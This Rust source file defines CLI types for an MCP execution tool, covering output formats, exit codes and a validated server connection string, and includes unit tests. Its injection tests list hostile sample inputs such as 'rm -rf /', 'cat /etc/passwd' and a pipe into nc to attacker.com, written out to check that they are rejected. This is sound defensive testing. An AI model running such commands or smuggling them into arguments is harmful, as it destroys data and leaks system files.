mcp_execution_core/cli.rs
1//! CLI-specific types and utilities.
2//!
3//! This module provides strong types for CLI concepts following Microsoft Rust
4//! Guidelines, ensuring type safety and clear intent throughout the CLI codebase.
5//!
6//! # Design Principles
7//!
8//! - Strong types over primitives (no raw strings/ints for domain concepts)
9//! - All types are `Send + Sync + Debug`
10//! - Validation at construction boundaries
11//! - User-friendly error messages
12//!
13//! # Examples
14//!
15//! ```
16//! use mcp_execution_core::cli::{OutputFormat, ExitCode, ServerConnectionString};
17//! use std::path::PathBuf;
18//!
19//! // Output format selection
20//! let format = OutputFormat::Pretty;
21//! assert_eq!(format.as_str(), "pretty");
22//!
23//! // Exit codes with semantic meaning
24//! let code = ExitCode::SUCCESS;
25//! assert_eq!(code.as_i32(), 0);
26//!
27//! // Validated server connection strings
28//! let conn = ServerConnectionString::new("github").unwrap();
29//! assert_eq!(conn.as_str(), "github");
30//! ```
31
32use std::fmt;
33use std::str::FromStr;
34
35/// CLI output format.
36///
37/// Determines how command results are formatted for user display.
38/// All formats provide the same information but with different presentation.
39///
40/// # Examples
41///
42/// ```
43/// use mcp_execution_core::cli::OutputFormat;
44///
45/// let format = OutputFormat::Json;
46/// assert_eq!(format.as_str(), "json");
47///
48/// let format: OutputFormat = "pretty".parse().unwrap();
49/// assert_eq!(format, OutputFormat::Pretty);
50/// ```
51#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Default)]
52pub enum OutputFormat {
53 /// JSON output for machine parsing
54 Json,
55 /// Plain text output for scripts
56 Text,
57 /// Pretty-printed output with colors for human reading
58 #[default]
59 Pretty,
60}
61
62impl OutputFormat {
63 /// Returns the string representation of the format.
64 ///
65 /// # Examples
66 ///
67 /// ```
68 /// use mcp_execution_core::cli::OutputFormat;
69 ///
70 /// assert_eq!(OutputFormat::Json.as_str(), "json");
71 /// assert_eq!(OutputFormat::Text.as_str(), "text");
72 /// assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
73 /// ```
74 #[must_use]
75 pub const fn as_str(&self) -> &'static str {
76 match self {
77 Self::Json => "json",
78 Self::Text => "text",
79 Self::Pretty => "pretty",
80 }
81 }
82}
83
84impl fmt::Display for OutputFormat {
85 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
86 f.write_str(self.as_str())
87 }
88}
89
90impl FromStr for OutputFormat {
91 type Err = crate::Error;
92
93 fn from_str(s: &str) -> Result<Self, Self::Err> {
94 match s.to_lowercase().as_str() {
95 "json" => Ok(Self::Json),
96 "text" => Ok(Self::Text),
97 "pretty" => Ok(Self::Pretty),
98 _ => Err(crate::Error::InvalidArgument(format!(
99 "invalid output format: '{s}' (expected: json, text, or pretty)"
100 ))),
101 }
102 }
103}
104
105/// CLI exit code with semantic meaning.
106///
107/// Provides type-safe exit codes following Unix conventions.
108/// Success is 0, errors are non-zero with specific meanings.
109///
110/// # Examples
111///
112/// ```
113/// use mcp_execution_core::cli::ExitCode;
114///
115/// let code = ExitCode::SUCCESS;
116/// assert_eq!(code.as_i32(), 0);
117/// assert!(code.is_success());
118///
119/// let code = ExitCode::from_i32(1).unwrap();
120/// assert!(!code.is_success());
121///
122/// // Outside the valid process exit code range (0..=255) is rejected.
123/// assert!(ExitCode::from_i32(-1).is_none());
124/// assert!(ExitCode::from_i32(256).is_none());
125/// ```
126#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
127pub struct ExitCode(i32);
128
129impl ExitCode {
130 /// Successful execution (exit code 0).
131 ///
132 /// # Examples
133 ///
134 /// ```
135 /// use mcp_execution_core::cli::ExitCode;
136 ///
137 /// assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
138 /// ```
139 pub const SUCCESS: Self = Self(0);
140
141 /// General error (exit code 1).
142 ///
143 /// # Examples
144 ///
145 /// ```
146 /// use mcp_execution_core::cli::ExitCode;
147 ///
148 /// assert_eq!(ExitCode::ERROR.as_i32(), 1);
149 /// ```
150 pub const ERROR: Self = Self(1);
151
152 /// Invalid input or arguments (exit code 2).
153 ///
154 /// # Examples
155 ///
156 /// ```
157 /// use mcp_execution_core::cli::ExitCode;
158 ///
159 /// assert_eq!(ExitCode::INVALID_INPUT.as_i32(), 2);
160 /// ```
161 pub const INVALID_INPUT: Self = Self(2);
162
163 /// Server connection or communication error (exit code 3).
164 ///
165 /// # Examples
166 ///
167 /// ```
168 /// use mcp_execution_core::cli::ExitCode;
169 ///
170 /// assert_eq!(ExitCode::SERVER_ERROR.as_i32(), 3);
171 /// ```
172 pub const SERVER_ERROR: Self = Self(3);
173
174 /// Execution timeout or resource limit exceeded (exit code 4).
175 ///
176 /// # Examples
177 ///
178 /// ```
179 /// use mcp_execution_core::cli::ExitCode;
180 ///
181 /// assert_eq!(ExitCode::TIMEOUT.as_i32(), 4);
182 /// ```
183 pub const TIMEOUT: Self = Self(4);
184
185 /// Creates an exit code from an integer value.
186 ///
187 /// Returns `None` if `code` falls outside `0..=255`. This is not a universal OS-level
188 /// ceiling — on Unix, `std::process::exit` truncates its argument to the low 8 bits, but
189 /// on Windows it delivers the full `i32` to the parent process via `ExitProcess` — so
190 /// `0..=255` is this API's own deliberate choice (matching every named const this type
191 /// already defines, and the conventional Unix exit-code range this CLI targets), not
192 /// something every platform enforces for it. Rejecting an out-of-range value here surfaces
193 /// a construction mistake immediately rather than silently producing an [`ExitCode`] whose
194 /// reported value could be misleading once actually reported to the OS.
195 ///
196 /// # Examples
197 ///
198 /// ```
199 /// use mcp_execution_core::cli::ExitCode;
200 ///
201 /// let code = ExitCode::from_i32(0).unwrap();
202 /// assert_eq!(code, ExitCode::SUCCESS);
203 ///
204 /// assert!(ExitCode::from_i32(-1).is_none());
205 /// assert!(ExitCode::from_i32(256).is_none());
206 /// ```
207 #[must_use]
208 pub const fn from_i32(code: i32) -> Option<Self> {
209 if matches!(code, 0..=255) {
210 Some(Self(code))
211 } else {
212 None
213 }
214 }
215
216 /// Returns the exit code as an integer.
217 ///
218 /// # Examples
219 ///
220 /// ```
221 /// use mcp_execution_core::cli::ExitCode;
222 ///
223 /// assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
224 /// assert_eq!(ExitCode::ERROR.as_i32(), 1);
225 /// ```
226 #[must_use]
227 pub const fn as_i32(&self) -> i32 {
228 self.0
229 }
230
231 /// Checks if the exit code represents success.
232 ///
233 /// # Examples
234 ///
235 /// ```
236 /// use mcp_execution_core::cli::ExitCode;
237 ///
238 /// assert!(ExitCode::SUCCESS.is_success());
239 /// assert!(!ExitCode::ERROR.is_success());
240 /// ```
241 #[must_use]
242 pub const fn is_success(&self) -> bool {
243 self.0 == 0
244 }
245}
246
247impl Default for ExitCode {
248 fn default() -> Self {
249 Self::SUCCESS
250 }
251}
252
253impl From<ExitCode> for i32 {
254 fn from(code: ExitCode) -> Self {
255 code.0
256 }
257}
258
259impl fmt::Display for ExitCode {
260 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
261 write!(f, "{}", self.0)
262 }
263}
264
265/// Validated MCP server connection string.
266///
267/// Ensures server identifiers are non-empty and contain only valid characters.
268/// This prevents command injection and path traversal attacks.
269///
270/// # Security
271///
272/// - Rejects empty strings
273/// - Rejects strings with null bytes
274/// - Trims whitespace
275///
276/// # Examples
277///
278/// ```
279/// use mcp_execution_core::cli::ServerConnectionString;
280///
281/// let conn = ServerConnectionString::new("github").unwrap();
282/// assert_eq!(conn.as_str(), "github");
283///
284/// // Empty strings are rejected
285/// assert!(ServerConnectionString::new("").is_err());
286///
287/// // Whitespace is trimmed
288/// let conn = ServerConnectionString::new(" server ").unwrap();
289/// assert_eq!(conn.as_str(), "server");
290/// ```
291#[derive(Debug, Clone, PartialEq, Eq, Hash)]
292pub struct ServerConnectionString(String);
293
294impl ServerConnectionString {
295 /// Creates a new validated server connection string.
296 ///
297 /// # Security
298 ///
299 /// This function validates input to prevent command injection attacks:
300 /// - Only allows alphanumeric characters and `-_./:` for safe server identifiers
301 /// - Rejects shell metacharacters (`&`, `|`, `;`, `$`, `` ` ``, etc.)
302 /// - Rejects control characters to prevent CRLF injection
303 /// - Length limited to 256 characters
304 ///
305 /// # Errors
306 ///
307 /// Returns an error if:
308 /// - The string is empty after trimming
309 /// - The string contains invalid characters
310 /// - The string contains control characters
311 /// - The string exceeds 256 characters
312 ///
313 /// # Examples
314 ///
315 /// ```
316 /// use mcp_execution_core::cli::ServerConnectionString;
317 ///
318 /// let conn = ServerConnectionString::new("my-server")?;
319 /// assert_eq!(conn.as_str(), "my-server");
320 ///
321 /// // Shell metacharacters are rejected for security
322 /// assert!(ServerConnectionString::new("server && rm -rf /").is_err());
323 /// # Ok::<(), mcp_execution_core::Error>(())
324 /// ```
325 pub fn new(s: impl Into<String>) -> crate::Result<Self> {
326 // Define allowed characters: alphanumeric, hyphen, underscore, dot, slash, colon
327 // This prevents command injection while allowing common server identifiers
328 const ALLOWED_CHARS: &str =
329 "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_./:";
330
331 let s = s.into();
332
333 // Check for control characters BEFORE trimming to prevent CRLF injection
334 if s.chars().any(|c| c.is_control() && c != ' ') {
335 return Err(crate::Error::InvalidArgument(
336 "server connection string cannot contain control characters".to_string(),
337 ));
338 }
339
340 let trimmed = s.trim();
341
342 if trimmed.is_empty() {
343 return Err(crate::Error::InvalidArgument(
344 "server connection string cannot be empty".to_string(),
345 ));
346 }
347
348 // Reject shell metacharacters to prevent command injection
349 if !trimmed.chars().all(|c| ALLOWED_CHARS.contains(c)) {
350 return Err(crate::Error::InvalidArgument(
351 "server connection string contains invalid characters (allowed: a-z, A-Z, 0-9, -, _, ., /, :)".to_string(),
352 ));
353 }
354
355 if trimmed.len() > 256 {
356 return Err(crate::Error::InvalidArgument(
357 "server connection string too long (max 256 characters)".to_string(),
358 ));
359 }
360
361 Ok(Self(trimmed.to_string()))
362 }
363
364 /// Returns the connection string as a string slice.
365 ///
366 /// # Examples
367 ///
368 /// ```
369 /// use mcp_execution_core::cli::ServerConnectionString;
370 ///
371 /// let conn = ServerConnectionString::new("server")?;
372 /// assert_eq!(conn.as_str(), "server");
373 /// # Ok::<(), mcp_execution_core::Error>(())
374 /// ```
375 #[must_use]
376 pub fn as_str(&self) -> &str {
377 &self.0
378 }
379}
380
381impl fmt::Display for ServerConnectionString {
382 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
383 write!(f, "{}", self.0)
384 }
385}
386
387impl FromStr for ServerConnectionString {
388 type Err = crate::Error;
389
390 fn from_str(s: &str) -> Result<Self, Self::Err> {
391 Self::new(s)
392 }
393}
394
395#[cfg(test)]
396mod tests {
397 use super::*;
398
399 // OutputFormat tests
400 #[test]
401 fn test_output_format_as_str() {
402 assert_eq!(OutputFormat::Json.as_str(), "json");
403 assert_eq!(OutputFormat::Text.as_str(), "text");
404 assert_eq!(OutputFormat::Pretty.as_str(), "pretty");
405 }
406
407 #[test]
408 fn test_output_format_default() {
409 assert_eq!(OutputFormat::default(), OutputFormat::Pretty);
410 }
411
412 #[test]
413 fn test_output_format_from_str_valid() {
414 assert_eq!("json".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
415 assert_eq!("text".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
416 assert_eq!(
417 "pretty".parse::<OutputFormat>().unwrap(),
418 OutputFormat::Pretty
419 );
420
421 // Case insensitive
422 assert_eq!("JSON".parse::<OutputFormat>().unwrap(), OutputFormat::Json);
423 assert_eq!("TEXT".parse::<OutputFormat>().unwrap(), OutputFormat::Text);
424 assert_eq!(
425 "PRETTY".parse::<OutputFormat>().unwrap(),
426 OutputFormat::Pretty
427 );
428 }
429
430 #[test]
431 fn test_output_format_from_str_invalid() {
432 assert!("invalid".parse::<OutputFormat>().is_err());
433 assert!("".parse::<OutputFormat>().is_err());
434 assert!("xml".parse::<OutputFormat>().is_err());
435 }
436
437 #[test]
438 fn test_output_format_display() {
439 assert_eq!(OutputFormat::Json.to_string(), "json");
440 assert_eq!(OutputFormat::Text.to_string(), "text");
441 assert_eq!(OutputFormat::Pretty.to_string(), "pretty");
442 }
443
444 // ExitCode tests
445 #[test]
446 fn test_exit_code_constants() {
447 assert_eq!(ExitCode::SUCCESS.as_i32(), 0);
448 assert_eq!(ExitCode::ERROR.as_i32(), 1);
449 assert_eq!(ExitCode::INVALID_INPUT.as_i32(), 2);
450 assert_eq!(ExitCode::SERVER_ERROR.as_i32(), 3);
451 assert_eq!(ExitCode::TIMEOUT.as_i32(), 4);
452 }
453
454 #[test]
455 fn test_exit_code_from_i32() {
456 assert_eq!(ExitCode::from_i32(0), Some(ExitCode::SUCCESS));
457 assert_eq!(ExitCode::from_i32(1), Some(ExitCode::ERROR));
458 assert_eq!(ExitCode::from_i32(42).unwrap().as_i32(), 42);
459 }
460
461 #[test]
462 fn test_exit_code_from_i32_rejects_out_of_range() {
463 assert_eq!(ExitCode::from_i32(-1), None);
464 assert_eq!(ExitCode::from_i32(256), None);
465 assert_eq!(ExitCode::from_i32(i32::MIN), None);
466 assert_eq!(ExitCode::from_i32(i32::MAX), None);
467 }
468
469 #[test]
470 fn test_exit_code_from_i32_accepts_boundaries() {
471 assert_eq!(ExitCode::from_i32(0).unwrap().as_i32(), 0);
472 assert_eq!(ExitCode::from_i32(255).unwrap().as_i32(), 255);
473 }
474
475 #[test]
476 fn test_exit_code_is_success() {
477 assert!(ExitCode::SUCCESS.is_success());
478 assert!(!ExitCode::ERROR.is_success());
479 assert!(!ExitCode::INVALID_INPUT.is_success());
480 assert!(!ExitCode::from_i32(42).unwrap().is_success());
481 }
482
483 #[test]
484 fn test_exit_code_default() {
485 assert_eq!(ExitCode::default(), ExitCode::SUCCESS);
486 }
487
488 #[test]
489 fn test_exit_code_into_i32() {
490 let code = ExitCode::ERROR;
491 let value: i32 = code.into();
492 assert_eq!(value, 1);
493 }
494
495 #[test]
496 fn test_exit_code_display() {
497 assert_eq!(ExitCode::SUCCESS.to_string(), "0");
498 assert_eq!(ExitCode::ERROR.to_string(), "1");
499 }
500
501 // ServerConnectionString tests
502 #[test]
503 fn test_server_connection_string_valid() {
504 let conn = ServerConnectionString::new("github").unwrap();
505 assert_eq!(conn.as_str(), "github");
506
507 let conn = ServerConnectionString::new("my-server-123").unwrap();
508 assert_eq!(conn.as_str(), "my-server-123");
509 }
510
511 #[test]
512 fn test_server_connection_string_trims_whitespace() {
513 let conn = ServerConnectionString::new(" server ").unwrap();
514 assert_eq!(conn.as_str(), "server");
515
516 // Control characters (other than space) are rejected before trimming
517 assert!(ServerConnectionString::new("\tserver\n").is_err());
518 }
519
520 #[test]
521 fn test_server_connection_string_rejects_empty() {
522 assert!(ServerConnectionString::new("").is_err());
523 assert!(ServerConnectionString::new(" ").is_err());
524 assert!(ServerConnectionString::new("\t\n").is_err());
525 }
526
527 #[test]
528 fn test_server_connection_string_from_str() {
529 let conn: ServerConnectionString = "server".parse().unwrap();
530 assert_eq!(conn.as_str(), "server");
531
532 assert!("".parse::<ServerConnectionString>().is_err());
533 }
534
535 #[test]
536 fn test_server_connection_string_display() {
537 let conn = ServerConnectionString::new("test-server").unwrap();
538 assert_eq!(conn.to_string(), "test-server");
539 }
540
541 // Security tests for command injection prevention
542 #[test]
543 fn test_server_connection_string_command_injection() {
544 // Shell metacharacters should be rejected
545 assert!(ServerConnectionString::new("server && rm -rf /").is_err());
546 assert!(ServerConnectionString::new("server; cat /etc/passwd").is_err());
547 assert!(ServerConnectionString::new("server | nc attacker.com").is_err());
548 assert!(ServerConnectionString::new("server $(malicious)").is_err());
549 assert!(ServerConnectionString::new("server `whoami`").is_err());
550 assert!(ServerConnectionString::new("server & background").is_err());
551 }
552
553 #[test]
554 fn test_server_connection_string_control_chars() {
555 // Control characters should be rejected (CRLF injection)
556 assert!(ServerConnectionString::new("server\r\n").is_err());
557 assert!(ServerConnectionString::new("server\0").is_err());
558 assert!(ServerConnectionString::new("server\t").is_err());
559 }
560
561 #[test]
562 fn test_server_connection_string_valid_chars() {
563 // These should still be valid
564 assert!(ServerConnectionString::new("github").is_ok());
565 assert!(ServerConnectionString::new("my_server").is_ok());
566 assert!(ServerConnectionString::new("server-123").is_ok());
567 assert!(ServerConnectionString::new("localhost:8080").is_ok());
568 assert!(ServerConnectionString::new("example.com/path").is_ok());
569 }
570
571 #[test]
572 fn test_server_connection_string_length_limit() {
573 // 256 characters should be allowed
574 let valid = "a".repeat(256);
575 assert!(ServerConnectionString::new(&valid).is_ok());
576
577 // 257 characters should be rejected
578 let too_long = "a".repeat(257);
579 assert!(ServerConnectionString::new(&too_long).is_err());
580 }
581}